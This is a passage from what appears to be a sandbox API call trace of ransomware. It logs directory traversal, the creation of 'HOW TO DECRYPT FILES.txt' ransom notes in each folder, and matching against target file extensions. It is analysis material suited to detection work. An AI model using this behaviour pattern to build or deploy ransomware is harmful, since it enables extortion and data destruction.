(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.791] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.ni.dll.aux", cAlternateFileName="WINDOW~1.AUX")) returned 0 [0124.791] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.791] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="46ff3d18994cf61508e0dcc57fef8b95", cAlternateFileName="46FF3D~1")) returned 0 [0124.791] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.791] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WindowsForm0b574481#", cAlternateFileName="WINDOW~2")) returned 1 [0124.791] lstrcmpA (lpString1=".", lpString2="WindowsForm0b574481#") returned -1 [0124.791] lstrcmpA (lpString1="..", lpString2="WindowsForm0b574481#") returned -1 [0124.791] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.791] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="WindowsForm0b574481#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#" [0124.791] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.793] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.793] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.793] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.793] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.793] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="da3bf1745f91cfd07f9fb1e899bde4d7", cAlternateFileName="DA3BF1~1")) returned 1 [0124.793] lstrcmpA (lpString1=".", lpString2="da3bf1745f91cfd07f9fb1e899bde4d7") returned -1 [0124.793] lstrcmpA (lpString1="..", lpString2="da3bf1745f91cfd07f9fb1e899bde4d7") returned -1 [0124.793] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\*.*") returned="*.*" [0124.793] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\", lpString2="da3bf1745f91cfd07f9fb1e899bde4d7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7" [0124.794] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.799] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.799] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.799] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.799] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.799] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WindowsFormsIntegration.ni.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0124.799] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.799] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0124.799] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0124.799] lstrcmpiA (lpString1="", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0124.799] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\*.*") returned="*.*" [0124.799] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\" [0124.799] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\") returned="" [0124.799] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt" [0124.800] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\windowsform0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\how to decrypt files.txt")) returned 0xffffffff [0124.800] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\windowsform0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.803] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.803] CloseHandle (hObject=0x90) returned 1 [0124.803] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\", lpString2="WindowsFormsIntegration.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll" [0124.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll", pszSpec="*.ems") returned 0 [0124.803] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.ni.dll.aux", cAlternateFileName="WINDOW~1.AUX")) returned 1 [0124.803] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.803] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsFormsIntegration.ni.dll.aux") returned -1 [0124.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsFormsIntegration.ni.dll.aux") returned -1 [0124.804] lstrcmpiA (lpString1="", lpString2="WindowsFormsIntegration.ni.dll.aux") returned -1 [0124.804] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll") returned="WindowsFormsIntegration.ni.dll" [0124.804] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\" [0124.804] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\") returned="" [0124.804] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt" [0124.804] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\windowsform0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\how to decrypt files.txt")) returned 0x20 [0124.804] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\", lpString2="WindowsFormsIntegration.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll.aux" [0124.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\WindowsFormsIntegration.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.804] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.ni.dll.aux", cAlternateFileName="WINDOW~1.AUX")) returned 0 [0124.805] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.805] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8c85730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8c85730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="da3bf1745f91cfd07f9fb1e899bde4d7", cAlternateFileName="DA3BF1~1")) returned 0 [0124.805] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.805] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5909a8d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5909a8d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WsatConfig", cAlternateFileName="WSATCO~1")) returned 1 [0124.805] lstrcmpA (lpString1=".", lpString2="WsatConfig") returned -1 [0124.805] lstrcmpA (lpString1="..", lpString2="WsatConfig") returned -1 [0124.805] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.805] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="WsatConfig" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig" [0124.805] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5909a8d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5909a8d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.808] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5909a8d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5909a8d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.808] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.808] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x590c0a30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="93576f0aca370337022c4e4d07012e94", cAlternateFileName="93576F~1")) returned 1 [0124.808] lstrcmpA (lpString1=".", lpString2="93576f0aca370337022c4e4d07012e94") returned -1 [0124.808] lstrcmpA (lpString1="..", lpString2="93576f0aca370337022c4e4d07012e94") returned -1 [0124.809] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\*.*") returned="*.*" [0124.809] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\", lpString2="93576f0aca370337022c4e4d07012e94" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94" [0124.809] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x590c0a30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.809] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.809] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x590c0a30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.809] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.809] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.809] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5909a8d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6c400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WsatConfig.ni.exe", cAlternateFileName="WSATCO~1.EXE")) returned 1 [0124.809] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.810] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WsatConfig.ni.exe") returned -1 [0124.810] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WsatConfig.ni.exe") returned -1 [0124.810] lstrcmpiA (lpString1="", lpString2="WsatConfig.ni.exe") returned -1 [0124.810] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\*.*") returned="*.*" [0124.810] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\" [0124.810] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\") returned="" [0124.810] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt" [0124.810] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\wsatconfig\\93576f0aca370337022c4e4d07012e94\\how to decrypt files.txt")) returned 0xffffffff [0124.810] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\wsatconfig\\93576f0aca370337022c4e4d07012e94\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.817] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.817] CloseHandle (hObject=0x90) returned 1 [0124.817] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\", lpString2="WsatConfig.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe" [0124.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.ems") returned 0 [0124.818] lstrlenA (lpString="*.ems") returned 5 [0124.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.db") returned 0 [0124.818] lstrlenA (lpString="*.db") returned 4 [0124.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.dbf") returned 0 [0124.818] lstrlenA (lpString="*.dbf") returned 5 [0124.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.myox") returned 0 [0124.818] lstrlenA (lpString="*.myox") returned 6 [0124.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.myo") returned 0 [0124.818] lstrlenA 